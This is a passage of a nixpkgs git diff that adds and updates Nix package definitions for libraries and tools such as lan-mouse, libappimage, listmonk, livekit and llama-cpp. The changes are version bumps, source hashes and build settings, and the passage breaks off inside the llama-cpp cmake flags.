"windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "winnow" +version = "0.5.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b5c3db89721d50d0e2a673f5043fc4722f76dcc352d7b1ab8b8288bed4ed2c5" +dependencies = [ + "memchr", +] + +[[package]] +name = "winreg" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "x11" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "502da5464ccd04011667b11c435cb992822c2c0dbde1770c988480d312a0db2e" +dependencies = [ + "libc", + "pkg-config", +] + +[[package]] +name = "xdg-home" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2769203cd13a0c6015d515be729c526d041e9cf2c0cc478d57faee85f40c6dcd" +dependencies = [ + "nix", + "winapi", +] + +[[package]] +name = "zbus" +version = "3.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31de390a2d872e4cd04edd71b425e29853f786dc99317ed72d73d6fcf5ebb948" +dependencies = [ + "async-broadcast", + "async-process", + "async-recursion", + "async-trait", + "byteorder", + "derivative", + "enumflags2", + "event-listener 2.5.3", + "futures-core", + "futures-sink", + "futures-util", + "hex", + "nix", + "once_cell", + "ordered-stream", + "rand", + "serde", + "serde_repr", + "sha1", + "static_assertions", + "tokio", + "tracing", + "uds_windows", + "winapi", + "xdg-home", + "zbus_macros", + "zbus_names", + "zvariant", +] + +[[package]] +name = "zbus_macros" +version = "3.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d1794a946878c0e807f55a397187c11fc7a038ba5d868e7db4f3bd7760bc9d" +dependencies = [ + "proc-macro-crate 1.3.1", + "proc-macro2", + "quote", + "regex", + "syn 1.0.109", + "zvariant_utils", +] + +[[package]] +name = "zbus_names" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb80bb776dbda6e23d705cf0123c3b95df99c4ebeaec6c2599d4a5419902b4a9" +dependencies = [ + "serde", + "static_assertions", + "zvariant", +] + +[[package]] +name = "zvariant" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44b291bee0d960c53170780af148dca5fa260a63cdd24f1962fa82e03e53338c" +dependencies = [ + "byteorder", + "enumflags2", + "libc", + "serde", + "static_assertions", + "url", + "zvariant_derive", +] + +[[package]] +name = "zvariant_derive" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "934d7a7dfc310d6ee06c87ffe88ef4eca7d3e37bb251dece2ef93da8f17d8ecd" +dependencies = [ + "proc-macro-crate 1.3.1", + "proc-macro2", + "quote", + "syn 1.0.109", + "zvariant_utils", +] + +[[package]] +name = "zvariant_utils" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7234f0d811589db492d16893e3f21e8e2fd282e6d01b0cddee310322062cc200" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] diff --git a/pkgs/by-name/la/lan-mouse/package.nix b/pkgs/by-name/la/lan-mouse/package.nix new file mode 100644 index 0000000000000..7bcc3cd16853b --- /dev/null +++ b/pkgs/by-name/la/lan-mouse/package.nix @@ -0,0 +1,57 @@ +{ stdenv +, rustPlatform +, fetchFromGitHub +, lib +, darwin +, glib +, gtk4 +, libadwaita +, libX11 +, libXtst +, pkg-config +, wrapGAppsHook4 +}: + +rustPlatform.buildRustPackage rec { + pname = "lan-mouse"; + version = "0.6.0"; + + src = fetchFromGitHub { + owner = "feschber"; + repo = "lan-mouse"; + rev = "v${version}"; + hash = "sha256-98n0Y9oL/ll90NKHJC/25wkav9K+eVqrO7PlrJMoGmY="; + }; + + nativeBuildInputs = [ + glib # needed in both {b,nativeB}uildInptus + pkg-config + wrapGAppsHook4 + ]; + + buildInputs = [ + glib + gtk4 + libadwaita + libX11 + libXtst + ] + ++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.CoreGraphics; + + cargoLock = { + lockFile = ./Cargo.lock; + outputHashes = { + "reis-0.1.0" = "sha256-sRZqm6QdmgqfkTjEENV8erQd+0RL5z1+qjdmY18W3bA="; + }; + }; + + meta = { + description = "A software KVM switch for sharing a mouse and keyboard with multiple hosts through the network"; + homepage = "https://github.com/feschber/lan-mouse"; + changelog = "https://github.com/feschber/lan-mouse/releases/tag/v${version}"; + license = lib.licenses.gpl3Only; + mainProgram = "lan-mouse"; + maintainers = with lib.maintainers; [ pedrohlc ]; + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; +} diff --git a/pkgs/by-name/le/lefthook/package.nix b/pkgs/by-name/le/lefthook/package.nix index 256701a004f06..5c10e70ea4078 100644 --- a/pkgs/by-name/le/lefthook/package.nix +++ b/pkgs/by-name/le/lefthook/package.nix @@ -6,7 +6,7 @@ let pname = "lefthook"; - version = "1.6.1"; + version = "1.6.5"; in buildGoModule { inherit pname version; @@ -15,10 +15,10 @@ buildGoModule { owner = "evilmartians"; repo = "lefthook"; rev = "v${version}"; - hash = "sha256-015tIgu9L62uZm4ae1JzU/GAK6fwX8BI9HGYhc+4jQQ="; + hash = "sha256-C76yQ9F4QSywGdihDbNh8KwSL2U+rUjb8VpWRByxzVk="; }; - vendorHash = "sha256-/VLS7+nPERjIU7V2CzqXH69Z3/y+GKZbAFn+KcRKRuA="; + vendorHash = "sha256-yWT7IX1n8CQSyXAzoncyYHzvYvIr8WzolyvC8/Cuhlo="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/by-name/li/libappimage/package.nix b/pkgs/by-name/li/libappimage/package.nix new file mode 100644 index 0000000000000..8d2a1013aff80 --- /dev/null +++ b/pkgs/by-name/li/libappimage/package.nix @@ -0,0 +1,87 @@ +{ + lib, + stdenv, + fetchFromGitHub, + fetchpatch, + cmake, + autoconf, + automake, + libtool, + pkg-config, + boost, + cairo, + fuse, + glib, + libarchive, + librsvg, + squashfuse, + xdg-utils-cxx, + zlib, +}: +stdenv.mkDerivation rec { + pname = "libappimage"; + version = "1.0.4-5"; + + src = fetchFromGitHub { + owner = "AppImageCommunity"; + repo = "libappimage"; + rev = "v${version}"; + hash = "sha256-V9Ilo0zFo9Urke+jCA4CSQB5tpzLC/S5jmon+bA+TEU="; + }; + + patches = [ + # Fix build with GCC 13 + # FIXME: remove in next release + (fetchpatch { + url = "https://github.com/AppImageCommunity/libappimage/commit/1e0515b23b90588ce406669134feca56ddcbbe43.patch"; + hash = "sha256-WIMvXNqC1stgPiBTRpXHWq3edIRnQomtRSW2qO52TRo="; + }) + ]; + + postPatch = '' + substituteInPlace cmake/libappimage.pc.in \ + --replace 'libdir=''${prefix}/@CMAKE_INSTALL_LIBDIR@' 'libdir=@CMAKE_INSTALL_FULL_LIBDIR@' \ + --replace 'includedir=''${prefix}/@CMAKE_INSTALL_INCLUDEDIR@' 'includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@' + ''; + + cmakeFlags = [ + "-DUSE_SYSTEM_BOOST=1" + "-DUSE_SYSTEM_LIBARCHIVE=1" + "-DUSE_SYSTEM_SQUASHFUSE=1" + "-DUSE_SYSTEM_XDGUTILS=1" + "-DUSE_SYSTEM_XZ=1" + ]; + + nativeBuildInputs = [ + cmake + autoconf + automake + libtool + pkg-config + ]; + + buildInputs = [ + boost + fuse + libarchive + squashfuse + xdg-utils-cxx + ]; + + propagatedBuildInputs = [ + cairo + glib + librsvg + zlib + ]; + + strictDeps = true; + + meta = with lib; { + description = "Implements functionality for dealing with AppImage files"; + homepage = "https://github.com/AppImageCommunity/libappimage/"; + license = licenses.mit; + maintainers = with maintainers; [ k900 ]; + platforms = platforms.linux; + }; +} diff --git a/pkgs/by-name/li/libdjinterop/package.nix b/pkgs/by-name/li/libdjinterop/package.nix new file mode 100644 index 0000000000000..93bf2bc8a7ecf --- /dev/null +++ b/pkgs/by-name/li/libdjinterop/package.nix @@ -0,0 +1,45 @@ +{ lib +, stdenv +, fetchFromGitHub +, boost +, cmake +, ninja +, pkg-config +, sqlite +, zlib +}: + +stdenv.mkDerivation { + name = "libdjinterop"; + + version = "unstable"; + + src = fetchFromGitHub { + owner = "xsco"; + repo = "libdjinterop"; + rev = "0.20.1"; + hash = "sha256-/iXSRJVFPWqUTVz7z0BNWCq5LOqdNuTI+wx/34JAZfc="; + }; + + nativeBuildInputs = [ + cmake + ninja + pkg-config + ]; + + outputs = [ "out" "dev" ]; + + buildInputs = [ + boost + sqlite + zlib + ]; + + meta = with lib; { + homepage = "https://github.com/xsco/libdjinterop"; + description = "C++ library for access to DJ record libraries"; + license = licenses.lgpl3; + maintainers = with maintainers; [ benley ]; + platforms = platforms.unix; + }; +} diff --git a/pkgs/by-name/li/libgrapheme/package.nix b/pkgs/by-name/li/libgrapheme/package.nix new file mode 100644 index 0000000000000..1aaed5f1a6044 --- /dev/null +++ b/pkgs/by-name/li/libgrapheme/package.nix @@ -0,0 +1,25 @@ +{ lib, stdenv, fetchurl, buildPackages }: + +stdenv.mkDerivation rec { + pname = "libgrapheme"; + version = "2.0.2"; + + src = fetchurl { + url = "https://dl.suckless.org/libgrapheme/libgrapheme-${version}.tar.gz"; + hash = "sha256-pou93edr1Vul1kEWzl5CoT3wRcgcCFLemrYIlqoUMSU="; + }; + + depsBuildBuild = [ buildPackages.stdenv.cc ]; + + makeFlags = [ "AR:=$(AR)" "CC:=$(CC)" "RANLIB:=$(RANLIB)" "BUILD_CC=$(CC_FOR_BUILD)" ]; + + installFlags = [ "PREFIX=$(out)" "LDCONFIG=" ]; + + meta = with lib; { + description = "Unicode string library"; + homepage = "https://libs.suckless.org/libgrapheme/"; + license = licenses.isc; + platforms = platforms.unix; + maintainers = with maintainers; [ sikmir ]; + }; +} diff --git a/pkgs/by-name/li/libmbd/package.nix b/pkgs/by-name/li/libmbd/package.nix index ccb42ef49cfb7..5322bdfa942e1 100644 --- a/pkgs/by-name/li/libmbd/package.nix +++ b/pkgs/by-name/li/libmbd/package.nix @@ -14,13 +14,13 @@ assert !lapack.isILP64; stdenv.mkDerivation rec { pname = "libMBD"; - version = "0.12.7"; + version = "0.12.8"; src = fetchFromGitHub { owner = "libmbd"; repo = pname; rev = version; - hash = "sha256-39cvOUTAuuWLGOLdapR5trmCttCnijOWvPhSBTeTxTA="; + hash = "sha256-ctUaBLPaZHoV1rU3u1idvPLGbvC9Z17YBxYKCaL7EMk="; }; preConfigure = '' diff --git a/pkgs/by-name/li/libnghttp2_asio/package.nix b/pkgs/by-name/li/libnghttp2_asio/package.nix new file mode 100644 index 0000000000000..7d286b2ffcb5e --- /dev/null +++ b/pkgs/by-name/li/libnghttp2_asio/package.nix @@ -0,0 +1,45 @@ +{ lib +, stdenv +, fetchFromGitHub +, cmake +, nghttp2 +, openssl +, boost +}: + +stdenv.mkDerivation rec { + pname = "libnghttp2_asio"; + version = "unstable-2022-08-11"; + + outputs = [ "out" "dev" "doc" ]; + + src = fetchFromGitHub { + owner = "nghttp2"; + repo = "nghttp2-asio"; + rev = "e877868abe06a83ed0a6ac6e245c07f6f20866b5"; + sha256 = "sha256-XQXRHLz0kvaIQq1nbqkJnETHR51FXMB1P9F/hQeZh6A="; + }; + + nativeBuildInputs = [ + cmake + ]; + + buildInputs = [ + boost + nghttp2 + openssl + ]; + + meta = with lib; { + description = "High level HTTP/2 C++ library"; + longDescription = '' + libnghttp2_asio is C++ library built on top of libnghttp2 + and provides high level abstraction API to build HTTP/2 + applications. It depends on the Boost::ASIO library and + OpenSSL. libnghttp2_asio provides both client and server APIs. + ''; + homepage = "https://github.com/nghttp2/nghttp2-asio"; + license = with licenses; [ mit ]; + maintainers = with maintainers; [ izorkin ]; + }; +} diff --git a/pkgs/by-name/li/libvpl/opengl-driver-lib.patch b/pkgs/by-name/li/libvpl/opengl-driver-lib.patch new file mode 100644 index 0000000000000..5913190a53846 --- /dev/null +++ b/pkgs/by-name/li/libvpl/opengl-driver-lib.patch @@ -0,0 +1,19 @@ +--- a/libvpl/src/mfx_dispatcher_vpl_loader.cpp ++++ b/libvpl/src/mfx_dispatcher_vpl_loader.cpp +@@ -548,6 +548,16 @@ mfxStatus LoaderCtxVPL::BuildListOfCandidateLibs() { + it++; + } + ++ // fourth priority ++ searchDirList.clear(); ++ searchDirList.push_back("@driverLink@/lib"); ++ it = searchDirList.begin(); ++ while (it != searchDirList.end()) { ++ STRING_TYPE nextDir = (*it); ++ sts = SearchDirForLibs(nextDir, m_libInfoList, LIB_PRIORITY_05); ++ it++; ++ } ++ + // lowest priority: legacy MSDK installation + searchDirList.clear(); + GetSearchPathsLegacy(searchDirList); diff --git a/pkgs/by-name/li/libvpl/package.nix b/pkgs/by-name/li/libvpl/package.nix index 8a647916ca63d..f28287053beb4 100644 --- a/pkgs/by-name/li/libvpl/package.nix +++ b/pkgs/by-name/li/libvpl/package.nix @@ -3,6 +3,8 @@ , fetchFromGitHub , cmake , pkg-config +, substituteAll +, addDriverRunpath }: stdenv.mkDerivation (finalAttrs: { @@ -32,6 +34,13 @@ stdenv.mkDerivation (finalAttrs: { "-DBUILD_TOOLS=OFF" ]; + patches = [ + (substituteAll { + src = ./opengl-driver-lib.patch; + inherit (addDriverRunpath) driverLink; + }) + ]; + meta = with lib; { description = "Intel Video Processing Library"; homepage = "https://intel.github.io/libvpl/"; diff --git a/pkgs/development/libraries/lightning/default.nix b/pkgs/by-name/li/lightning/package.nix index c7a3b31a90320..b9414fb613462 100644 --- a/pkgs/development/libraries/lightning/default.nix +++ b/pkgs/by-name/li/lightning/package.nix @@ -1,23 +1,39 @@ { lib -, stdenv , fetchurl , libopcodes +, libiberty +, stdenv +, libbfd +, zlib }: stdenv.mkDerivation (finalAttrs: { pname = "lightning"; - version = "2.2.2"; + version = "2.2.3"; src = fetchurl { - url = "mirror://gnu/lightning/${finalAttrs.pname}-${finalAttrs.version}.tar.gz"; - hash = "sha256-CsqCQt6tF9YhF7z8sHjmqeqFbMgXQoE8noOUvM5zs+I="; + url = "mirror://gnu/lightning/lightning-${finalAttrs.version}.tar.gz"; + hash = "sha256-wEXHozoAr/v+sRBm+lAsA5kuR0piupWXeq0G28FMaCk="; }; - nativeCheckInputs = [ libopcodes ]; + outputs = [ "out" "dev" "info" ]; + + buildInputs = [ + libopcodes + libbfd + libiberty + zlib + ]; + + strictDeps = true; + + configureFlags = [ + (lib.enableFeature true "disassembler") + ]; doCheck = true; - meta = with lib; { + meta = { homepage = "https://www.gnu.org/software/lightning/"; description = "Run-time code generation library"; longDescription = '' @@ -26,9 +42,9 @@ stdenv.mkDerivation (finalAttrs: { it abstracts over the target CPU, as it exposes to the clients a standardized RISC instruction set inspired by the MIPS and SPARC chips. ''; - maintainers = with maintainers; [ AndersonTorres ]; - license = licenses.lgpl3Plus; - platforms = platforms.unix; + maintainers = with lib.maintainers; [ AndersonTorres ]; + license = with lib.licenses; [ lgpl3Plus ]; + platforms = lib.platforms.unix; broken = stdenv.isDarwin; # failing tests }; }) diff --git a/pkgs/development/tools/lightningcss/default.nix b/pkgs/by-name/li/lightningcss/package.nix index 7edc7e3695aa1..6388413bd43bc 100644 --- a/pkgs/development/tools/lightningcss/default.nix +++ b/pkgs/by-name/li/lightningcss/package.nix @@ -6,16 +6,16 @@ rustPlatform.buildRustPackage rec { pname = "lightningcss"; - version = "1.23.0"; + version = "1.24.0"; src = fetchFromGitHub { owner = "parcel-bundler"; repo = "lightningcss"; rev = "refs/tags/v${version}"; - hash = "sha256-vMxf5WQtoj7FycU1zHn5t/bJtwh6t4wqyKfoetzojzU="; + hash = "sha256-Ai6zvLR5w2AarjZIWMPoDsU1Dr5kvREgL6oyg6TF+TU="; }; - cargoHash = "sha256-g7/1s3FvuwsJvypeHOqJA/lVBkQcLATWtlygI8IW+QA="; + cargoHash = "sha256-HHuj7uAqipPtbjkOsxxMq+JWXww2vUDTNGgnHd3UY3o="; buildFeatures = [ "cli" diff --git a/pkgs/by-name/li/listmonk/frontend.nix b/pkgs/by-name/li/listmonk/frontend.nix new file mode 100644 index 0000000000000..928092038c127 --- /dev/null +++ b/pkgs/by-name/li/listmonk/frontend.nix @@ -0,0 +1,37 @@ +{ mkYarnPackage +, fetchYarnDeps +, meta +, version +, src +}: + +mkYarnPackage { + pname = "listmonk-frontend"; + inherit version; + + src = "${src}/frontend"; + packageJSON = ./package.json; + + offlineCache = fetchYarnDeps { + yarnLock = "${src}/frontend/yarn.lock"; + hash = "sha256-TdrglyRtb2Q8SFtoiCoDj/zBV2+7DwzIm/Fzlt0ZvSo="; + }; + + configurePhase = '' + ln -s $node_modules node_modules + ''; + + buildPhase = '' + yarn --offline build + ''; + + installPhase = '' + mkdir $out + cp -R dist/* $out + ''; + + doDist = false; + + + inherit meta; +} diff --git a/pkgs/by-name/li/listmonk/package.json b/pkgs/by-name/li/listmonk/package.json new file mode 100644 index 0000000000000..25018ef265dd7 --- /dev/null +++ b/pkgs/by-name/li/listmonk/package.json @@ -0,0 +1,45 @@ +{ + "name": "listmonk", + "version": "0.1.0", + "private": true, + "scripts": { + "dev": "vite", + "build": "vite build", + "serve": "vite preview", + "lint": "eslint --ext .js,.vue --ignore-path .gitignore src", + "prebuild": "eslint --ext .js,.vue --ignore-path .gitignore src" + }, + "dependencies": { + "@tinymce/tinymce-vue": "^3", + "axios": "^1.6.2", + "buefy": "^0.9.25", + "bulma": "^0.9.4", + "chart.js": "^4.4.1", + "codeflask": "^1.4.1", + "dayjs": "^1.11.10", + "indent.js": "^0.3.5", + "qs": "^6.10.1", + "textversionjs": "^1.1.3", + "tinymce": "^5.10.9", + "turndown": "^7.1.2", + "vue": "^2.7.14", + "vue-chartjs": "^5.3.0", + "vue-i18n": "^8.28.2", + "vue-router": "^3.2.0", + "vuex": "^3.6.2" + }, + "devDependencies": { + "@vitejs/plugin-vue2": "^2.3.1", + "@vue/eslint-config-airbnb": "^7.0.1", + "cypress": "13.6.1", + "cypress-file-upload": "^5.0.2", + "eslint": "^8.56.0", + "eslint-define-config": "^2.0.0", + "eslint-plugin-import": "^2.23.3", + "eslint-plugin-vue": "^9.19.2", + "sass": "^1.34.0", + "vite": "^5.0.12", + "vue-eslint-parser": "^9.3.2", + "vue-template-compiler": "^2.6.12" + } +} diff --git a/pkgs/servers/mail/listmonk/default.nix b/pkgs/by-name/li/listmonk/package.nix index 24f97afa348d8..3ac3522a861e4 100644 --- a/pkgs/servers/mail/listmonk/default.nix +++ b/pkgs/by-name/li/listmonk/package.nix @@ -1,25 +1,17 @@ -{ lib, buildGoModule, fetchFromGitHub, callPackage, stuffbin, nixosTests, fetchpatch }: +{ lib, buildGoModule, fetchFromGitHub, callPackage, stuffbin, nixosTests }: buildGoModule rec { pname = "listmonk"; - version = "2.5.1"; + version = "3.0.0"; src = fetchFromGitHub { owner = "knadh"; repo = "listmonk"; rev = "v${version}"; - sha256 = "sha256-gCnIblc83CmG1auvYYxqW/xBl6Oy1KHGkqSY/3yIm3I="; + sha256 = "sha256-eNX+2ens+mz2V8ZBHtFFHDVbi64AAiiREElMjh67Dd8="; }; - patches = [ - # Ensure that listmonk supports Go 1.20 - (fetchpatch { - url = "https://github.com/knadh/listmonk/commit/25513b81044803b104ada63c0be57a913960484e.patch"; - hash = "sha256-SYACM8r+NgeSWn9VJV4+wkm+6s/MhNGwn5zyc2tw7FU="; - }) - ]; - - vendorHash = "sha256-0sgC1+ueZTUCP+7JwI/OKLktfMHQq959GEk1mC0TQgE="; + vendorHash = "sha256-XAm2VfX1nHWTuAV2COEn8qrqPNv0xbaWgTYCpjrEfMw="; nativeBuildInputs = [ stuffbin @@ -50,7 +42,7 @@ buildGoModule rec { ''; passthru = { - frontend = callPackage ./frontend.nix { inherit meta; }; + frontend = callPackage ./frontend.nix { inherit meta version src; }; tests = { inherit (nixosTests) listmonk; }; }; diff --git a/pkgs/servers/mail/listmonk/stuffbin.nix b/pkgs/by-name/li/listmonk/stuffbin.nix index 2640ba8b85197..2640ba8b85197 100644 --- a/pkgs/servers/mail/listmonk/stuffbin.nix +++ b/pkgs/by-name/li/listmonk/stuffbin.nix diff --git a/pkgs/by-name/li/live555/package.nix b/pkgs/by-name/li/live555/package.nix index b08ed44f48542..4630cf13da2a0 100644 --- a/pkgs/by-name/li/live555/package.nix +++ b/pkgs/by-name/li/live555/package.nix @@ -9,7 +9,7 @@ stdenv.mkDerivation (finalAttrs: { pname = "live555"; - version = "2023.11.30"; + version = "2024.02.28"; src = fetchurl { urls = [ @@ -18,7 +18,7 @@ stdenv.mkDerivation (finalAttrs: { "https://download.videolan.org/contrib/live555/live.${finalAttrs.version}.tar.gz" "mirror://sourceforge/slackbuildsdirectlinks/live.${finalAttrs.version}.tar.gz" ]; - hash = "sha256-xue+9YtdAM2XkzAY6dU2PZ3n6bvPwlULIHqBqc8wuSU="; + hash = "sha256-5WjtkdqoofZIijunfomcEeWj6l4CUK9HRoYAle2jSx8="; }; patches = [ diff --git a/pkgs/by-name/li/livekit-cli/package.nix b/pkgs/by-name/li/livekit-cli/package.nix index 2ed5129a6d137..a4ecebcde30c7 100644 --- a/pkgs/by-name/li/livekit-cli/package.nix +++ b/pkgs/by-name/li/livekit-cli/package.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "livekit-cli"; - version = "1.3.4"; + version = "1.4.0"; src = fetchFromGitHub { owner = "livekit"; repo = "livekit-cli"; rev = "v${version}"; - hash = "sha256-pzVzfs0bwG9n7fa0ouQiCFrbXAqkfovEIjVmrHFdqtI="; + hash = "sha256-u6tqrh2Au4XL590EqD3WInQbN6H6GzRoaA3Uke94Y60="; }; - vendorHash = "sha256-pM5DeaukY6x4RDryLvSEQASSwtOaLiiLObjhdWBYd8k="; + vendorHash = "sha256-PCZNFt08Ad+pjKrl7KZy7jUhu/fWO3raoQM0abCpaGs="; subPackages = [ "cmd/livekit-cli" ]; diff --git a/pkgs/by-name/li/livekit/package.nix b/pkgs/by-name/li/livekit/package.nix index ed14e56b1809c..40706a679c2d9 100644 --- a/pkgs/by-name/li/livekit/package.nix +++ b/pkgs/by-name/li/livekit/package.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "livekit"; - version = "1.5.2"; + version = "1.5.3"; src = fetchFromGitHub { owner = "livekit"; repo = "livekit"; rev = "v${version}"; - hash = "sha256-Z1N6iYXd3HswRJql3YZMot5fdkdFFbJuxyGDgLsbtQI="; + hash = "sha256-2MooX+wy7KetxEBgQoVoL4GuVkm+SbTzYgfWyLL7KU8="; }; - vendorHash = "sha256-O0rlezMdhoRHdK37BGKW3CHLpYfkFC1d83o5u54LQ8k="; + vendorHash = "sha256-8YR0Bl+sQsqpFtD+1GeYaydBdHeM0rRL2NbgAh9kCj0="; subPackages = [ "cmd/server" ]; diff --git a/pkgs/by-name/ll/llama-cpp/package.nix b/pkgs/by-name/ll/llama-cpp/package.nix index 3732947af7103..7da6c5c305a19 100644 --- a/pkgs/by-name/ll/llama-cpp/package.nix +++ b/pkgs/by-name/ll/llama-cpp/package.nix @@ -15,12 +15,16 @@ , openclSupport ? false , clblast -, blasSupport ? !rocmSupport && !cudaSupport -, openblas +, blasSupport ? builtins.all (x: !x) [ cudaSupport metalSupport openclSupport rocmSupport vulkanSupport ] , pkg-config , metalSupport ? stdenv.isDarwin && stdenv.isAarch64 && !openclSupport -, patchelf -, static ? true # if false will build the shared objects as well +, vulkanSupport ? false +, mpiSupport ? false # Increases the runtime closure by ~700M +, vulkan-headers +, vulkan-loader +, ninja +, git +, mpi }: let @@ -28,16 +32,50 @@ let # otherwise we get libstdc++ errors downstream. # cuda imposes an upper bound on the gcc version, e.g. the latest gcc compatible with cudaPackages_11 is gcc11 effectiveStdenv = if cudaSupport then cudaPackages.backendStdenv else stdenv; + inherit (lib) cmakeBool cmakeFeature optionals; + + darwinBuildInputs = + with darwin.apple_sdk.frameworks; + [ + Accelerate + CoreVideo + CoreGraphics + ] + ++ optionals metalSupport [ MetalKit ]; + + cudaBuildInputs = with cudaPackages; [ + cuda_cccl.dev # <nv/target> + + # A temporary hack for reducing the closure size, remove once cudaPackages + # have stopped using lndir: https://github.com/NixOS/nixpkgs/issues/271792 + cuda_cudart.dev + cuda_cudart.lib + cuda_cudart.static + libcublas.dev + libcublas.lib + libcublas.static + ]; + + rocmBuildInputs = with rocmPackages; [ + clr + hipblas + rocblas + ]; + + vulkanBuildInputs = [ + vulkan-headers + vulkan-loader + ]; in effectiveStdenv.mkDerivation (finalAttrs: { pname = "llama-cpp"; - version = "2105"; + version = "2346"; src = fetchFromGitHub { owner = "ggerganov"; repo = "llama.cpp"; rev = "refs/tags/b${finalAttrs.version}"; - hash = "sha256-Xq/P7EN6dz2oW++bXhIMY7AhWgVk6hmuf4PmEaoVgMM="; + hash = "sha256-s937fAOUjid2H+6OQEMicdkFQVqPJ37GR+DMrCV1ky4="; }; postPatch = '' @@ -45,7 +83,8 @@ effectiveStdenv.mkDerivation (finalAttrs: { --replace '[bundle pathForResource:@"ggml-metal" ofType:@"metal"];' "@\"$out/bin/ggml-metal.metal\";" ''; - nativeBuildInputs = [ cmake ] ++ lib.optionals blasSupport [ pkg-config ] ++ lib.optionals cudaSupport [ + nativeBuildInputs = [ cmake ninja pkg-config git ] + ++ optionals cudaSupport [ cudaPackages.cuda_nvcc # TODO: Replace with autoAddDriverRunpath @@ -53,86 +92,55 @@ effectiveStdenv.mkDerivation (finalAttrs: { cudaPackages.autoAddOpenGLRunpathHook ]; - buildInputs = lib.optionals effectiveStdenv.isDarwin - (with darwin.apple_sdk.frameworks; [ - Accelerate - CoreGraphics - CoreVideo - Foundation - ]) - ++ lib.optionals metalSupport (with darwin.apple_sdk.frameworks; [ - MetalKit - ]) - ++ lib.optionals cudaSupport (with cudaPackages; [ - cuda_cccl.dev # <nv/target> - - # A temporary hack for reducing the closure size, remove once cudaPackages - # have stopped using lndir: https://github.com/NixOS/nixpkgs/issues/271792 - cuda_cudart.dev - cuda_cudart.lib - cuda_cudart.static - libcublas.dev - libcublas.lib - libcublas.static - ]) ++ lib.optionals rocmSupport [ - rocmPackages.clr - rocmPackages.hipblas - rocmPackages.rocblas - ] ++ lib.optionals openclSupport [ - clblast - ] ++ lib.optionals blasSupport [ - openblas - ]; + buildInputs = optionals effectiveStdenv.isDarwin darwinBuildInputs + ++ optionals cudaSupport cudaBuildInputs + ++ optionals mpiSupport mpi + ++ optionals openclSupport [ clblast ] + ++ optionals rocmSupport rocmBuildInputs + ++ optionals vulkanSupport vulkanBuildInputs; cmakeFlags = [ - "-DLLAMA_NATIVE=OFF" - "-DLLAMA_BUILD_SERVER=ON" + # -march=native is non-deterministic; override with platform-specific flags if needed + (cmakeBool "LLAMA_NATIVE" false) + (cmakeBool "BUILD_SHARED_SERVER" true) + (cmakeBool "BUILD_SHARED_LIBS" true) + (cmakeBool "BUILD_SHARED_LIBS" true) + (cmakeBool "LLAMA_BLAS" blasSupport) + (cmakeBool "LLAMA_CLBLAST" openclSupport) + (cmakeBool "LLAMA_CUBLAS" cudaSupport) + (cmakeBool "LLAMA_HIPBLAS" rocmSupport) + (cmakeBool "LLAMA_METAL" 